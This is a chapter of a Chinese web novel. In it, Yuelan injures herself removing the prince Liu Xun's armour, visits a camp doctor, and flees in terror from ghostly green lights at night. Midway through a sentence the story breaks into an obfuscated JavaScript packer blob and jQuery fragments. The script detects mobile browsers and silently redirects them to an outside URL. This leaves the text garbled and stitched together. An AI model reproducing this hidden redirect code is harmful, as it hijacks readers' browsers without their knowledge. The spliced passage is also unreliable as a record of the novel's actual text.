44. 第四十四章

作品:《掌中刺

    月澜愣住,将果子推了回去。


    她可记得清楚,那日在官舍,刘巽口中的燕地祭祀分明是生祭。


    将头摇成拨浪鼓,道:


    “不…了,多谢先生好意,月澜只怕见不了那等场面。”


    卜文嘉脸上的褶子里缀满失落。


    月澜赶紧转开话题,勉强笑道:


    “先生这里有什么头油?”


    小老头忙转身,取出一个小罐子,道:


    “喏,这是橡子油,最是能保养丝发羽毛,你拿去一罐用。”


    他似是还不甘心,追问道:


    “小姑娘你真的不考虑……?”


    忽地,自外向内传来一道童音,


    “阿翁!我早就说了吧,谁还学你那劳什子的祭祀!非逼我……”


    月澜朝着声音传来的方向望去,一个小圆球不知打哪儿窜了进来,个头与她不相上下。


    卜文嘉顿时气得吹胡子瞪眼,巴掌高高扬起,


    “小畜生,可仔细你的皮——!”


    卜冬儿根本不理会鼻孔冒火的卜文嘉,一副自来熟的模样儿,径直贴向月澜身侧。


    “这位姐姐好生漂亮,我叫冬儿,你呢?”


    瞧着他银盘似的圆脸,配着小大人似的神情,她扑哧笑出声。


    “小兄弟,你可以叫我月澜。”


    卜冬儿拍拍手,


    “好呀,月姐姐。你在哪里做事?我以后来找你玩儿。”


    卜文嘉抄着竹条,骂道:


    “玩玩玩!就知道玩!”


    夯实的小肉球被抽得啪啪作响,月澜赶紧转身告辞。


    “哎——,别走啊月姐姐……嗷……阿翁!”


    身后的翁孙俩打成一团,鸦羽满天飞。


    中军大帐。


    帐帘大开,月澜悄悄探出半只眼睛。


    没见其他人,余长在里面收拾桌案。


    眼角余光瞥到她,余长转过脸,笑道:


    “公主回来啦,这里还有些肉饼,公主可要用些?”


    许是最近太过劳累,她比平日里吃得多了好些。


    她点点头,


    “正好,我也饿了。”


    左手拿饼,右手将小罐子展示给余长,歪头道:


    “你瞧,卜老先生给的,等会儿帮我梳头可以嘛?”


    “好呀,话说卜先生可有拉你去学祭祀?”


    月澜咽下一口肉饼,奇道:


    “欸?你怎么知道?”


    余长笑着摇头,


    “他把所有人都拉了个遍,结果呢,谁都不去。”


    月澜颇为同情,随口问道:


    “不过祭祀到底是王族大事,不知燕地为何如此不重视,莫非是因为你们还盛行生祭?”


    余长顿时两眼一黑,


    “公主哪里听来的谣言,现在谁还敢生祭?”


    口中的肉糜险些掉出来,她连忙灌下一大口茶,


    “咳咳咳……是殿……”


    可一句话还未说完,刘巽已经打外面走了进来。


    玄色犀甲杀气外露,他的脸上瞧不出喜怒。


    “去喊裴谦过来。”


    往来跑腿传讯,皆是余长的活计,小内侍很快便跑了出去。


    帐中便只剩二人。


    因着早上的龃龉,气氛实在有些尴尬。


    刘巽将佩剑扔在一旁,令道:


    “卸甲。”


    月澜脚下踌躇,让她帮忙打下手尚且勉强,若要独自卸甲,恐怕太过吃力。


    弄不好的话,怕是又要遭他的斥骂。


    她鼓起勇气,小心翼翼道:


    “殿下,要不……等余长回来?”


    犀利的黑眸冷冷睥向她。


    月澜肚子里的勇气顿时瘪了下去。


    如同靠近洪水猛兽般,一步步往前挪。


    刘巽等得不耐烦,


    “磨蹭?”


    头顶一凉,月澜赶忙加紧步子。


    肉香味盈入口鼻,呆鹌鹑嘴角一抹光亮的油渍分外扎眼。


    刘巽的剑眉蹙起,他抬起下颌,不再看她。


    身上如朔风扫过,一阵窸窸窣窣,


    “嘶……”


    月澜轻呼。


    胫甲太重,她一个没拿稳,掌心被划出几道口子,甲也直直掉到地上。


    刘巽纹丝未动,连个眼神儿也不曾给到她。


    她擦掉手心微微渗出的血迹,继续卸上半身的甲胄。


    护臂。


    护腹。


    背甲。


    月澜的脚,踮得越来越高。


    再往上,轮到胸甲和肩甲。


    可她就算将十指尽数绷长,也再难够得到。


    她的声音细若蚊蚺,


    “殿下,够…不到了。”


    刘巽睨了她一眼,一脸漠然。


    月澜自知又要挨骂,低下头盯着足尖,两手绞在一起。


    好在,没有等来预想中的冷言冷语。


    咔嗒……


    刘巽长指一动,胸甲同肩甲应声而落。


    她赶忙捧起双手接过。


    结果,因为接得太急,肩甲上的狰狞兽首猛地戳向胸口。


    嘶……


    她倒吸一口凉气。


    脑门上瞬间冒起一层薄薄的冷汗。


    痛感直击脑袋,她脚下一个趔趄,就要向眼前的玄色身影倒去。


    忽然,面门一凉。


    一根骨节分明的长指,径直点向她的眉心,止住了她摇摇欲坠的身形。


    “离远些。”


    月澜再次吃痛,咬牙道:


    “是…,殿下恕…罪。”


    “兄长。”


    裴谦脚步轻快,身后跟着气喘吁吁的小内侍。


    “呦,死丫…你也在呢?”


    余长见月澜脸色煞白,连忙上前搀扶,接过她怀中的甲胄。


    顾不上裴谦的问候,月澜对余长耳语,


    “胸口好痛,你先顶一顶,我出去缓缓。”


    她捂住胸口,艰难踱出大帐。


    裴谦眼珠子一瞪,


    “嘿,说走就走,连声招呼也不打。”


    后颈一凉,他连忙回过头,拜道:


    “兄长有何吩咐?”


    “姑母五日前已经启程,再有五日便到河间,你亲自去接。”


    裴谦满眼欢喜,


    “太好了,多谢兄长。”


    想起刚才的人影,他摸了摸脑袋,问道:


    “兄长…,高氏,无妨吗?会不会被我阿娘撞到?我怕……”


    刘巽的目光看向帐外,沉声道:


    “不会。”


    “行,那便不打扰兄长,弟告退。”


    月澜独自蹲在角落,掌心轻轻舒缓胸口的闷痛。


    一道凉凉的讥讽钻进了耳道。


    “嗤,死丫头,你还有这般动弹不能的时候呢?怎么了这是?”


    裴谦双臂抱于胸前,嘴里叼着一根枯草,一副吊儿郎当的模样。


    月澜没心思同他斗嘴,她堪堪直起脖子,仰头道:


    “裴将军,是你。有什么事吗?”


    “你还敢叫我将军?将眼睛睁大,瞧我这身儿,可是将军袍?”


    他将胳膊打直,抖了抖身上的粗麻布袍。


    月澜苍白的双唇微张。


    裴谦蹲到她面前,将她的头顶揉得糟乱,语气甚是恼火,


    “还不都是因为你,小爷被贬成了伍长,还挨了三十军棍!”


    他揉了揉后背,嘟囔道:


    “到现在还痛着呢!”


    月澜颤巍巍伸出手,勉强拍了拍他的肩头,


    “对不住,裴……”


    半天张不开嘴。


    裴谦两眼一瞪,气冲冲道:


    “算了算了,小爷准你以后叫我裴子进。”


    “子进君,对不住,给你添了麻烦……”


    裴谦斜睨道:


    “啧啧,瞅瞅你,这是又病入膏肓了?”


    实在难以启齿,胸口的疼痛,似乎在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049720|192821||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    往开蔓延。


    她闭了闭眼,


    “子进君,往后再同你赔不是,我…我现在得去找沈大夫。麻烦你同余长说一声,我晚些回去。”


    说罢,歪歪斜斜起身。


    裴谦的眉头紧紧皱在一起,迟疑道:


    “可要人送你过去?”


    月澜没有回头,只摆了摆手。


    裴谦将枯草扔掉,


    “啧……可别真死了。”


    医所。


    药香扑鼻,却明显少了几味浓重的苦涩。


    月澜坐在屏风后面,轻声问道:


    “沈大夫,我可有碍?是不是受了内伤?”


    “丫头,你几岁了?”


    “十四。”


    “嗯,少看些话本子。”


    月澜面上发苦,无奈道:


    “沈大夫,您就别打趣我了,胸口真的很痛……”


    她蹙起眉,反复摸了摸,


    “我感觉,好像被砸出了硬块。”


    沈大夫没有回答,只将参须根根剪下,仔细拢进小布包,道:


    “你那砸伤没什么大碍。从今日开始,每日服用一根参须泡水。记住,不能多用。好好吃饭,不能饿着。”


    “就…就这样?”


    “就这样。还有,胸口再疼,也不要乱碰,过段日子自然会好。”


    她接过布包,狐疑地点点头。


    晚膳过后。


    月澜开始值夜。


    胸口从刺痛转为胀痛,仿佛被塞了两个馒头,十分难受,一抬手臂便会扯到。


    刘巽依旧冷冰冰处理公务,丝毫没有过问她午后的异常。


    两个时辰后。


    月澜眼皮打架的空当。


    啪——


    竹简被狠狠摔在案上。


    她打了个激灵,猛地站直,双眼一眨不眨地盯着眼前冒寒气的背影。


    “去。”


    他开口,声音略显沙哑,


    “到西营第三座档案帐,取三个月前稷州的粮秣核验簿来,立刻。”


    余长带她熟悉过重要帐所的大致方位,她心下安慰自己,


    “没事,还有守夜的将士,到时候去问问。”


    这一次,月澜没有畏缩,她披上氅衣,提起余长惯用的绢灯,硬着头皮踏入浓稠的夜色。


    深夜,四周寂静得可怕,唯有火把随风摇曳。


    她口中喃喃:


    “西营,西营。”


    顺着守卫所指的方向,她脚步一刻不停。


    离中军大帐越来越远,两侧的火把也越来越少。


    绢灯昏黄的光只能堪堪照亮脚下两尺。


    “怎的这般黑……”


    呜…呼


    忽地,脑后传来怪叫。


    “啊……”


    她吓了一跳,连忙蹲下来,缩作一团。


    而后又听见扑腾翅膀的声音。


    她深吸几口气,十指抓紧绢灯的灯杆。


    “没事,没事,只是雀儿,赶紧走……”


    将氅衣紧紧裹住,埋头疾行。


    很快便来到一处空旷地。


    没有遮蔽物,风声骤然增大,兜帽被生生吹翻了过去。


    她粗重地喘着气,单手提灯,另一只手颤颤巍巍摸向兜帽。


    忽然,


    眼梢的暗处诡异地亮起。


    她全身的血液几乎凝滞,一点点转过僵硬的脖子。


    微微窜动的幽绿火光映入眼帘,星星点点。


    月澜能听到自己的牙齿咯咯作响,脚下仿佛有无数只手将双足扯住。


    她瑟瑟发抖,


    “狐…狐仙…大人……”


    夜风猛地呼啸,诡异的绿火迅速窜动。


    凉意从头灌到足尖。


    她当即扔下绢灯,发了疯似的往回跑,只觉得身后有恶鬼索命。


    不知跌了多少跤,又爬起来多少次。


    一口气冲回中军大帐,上气不接下气地哭嚎道:


    “殿下,有鬼——!”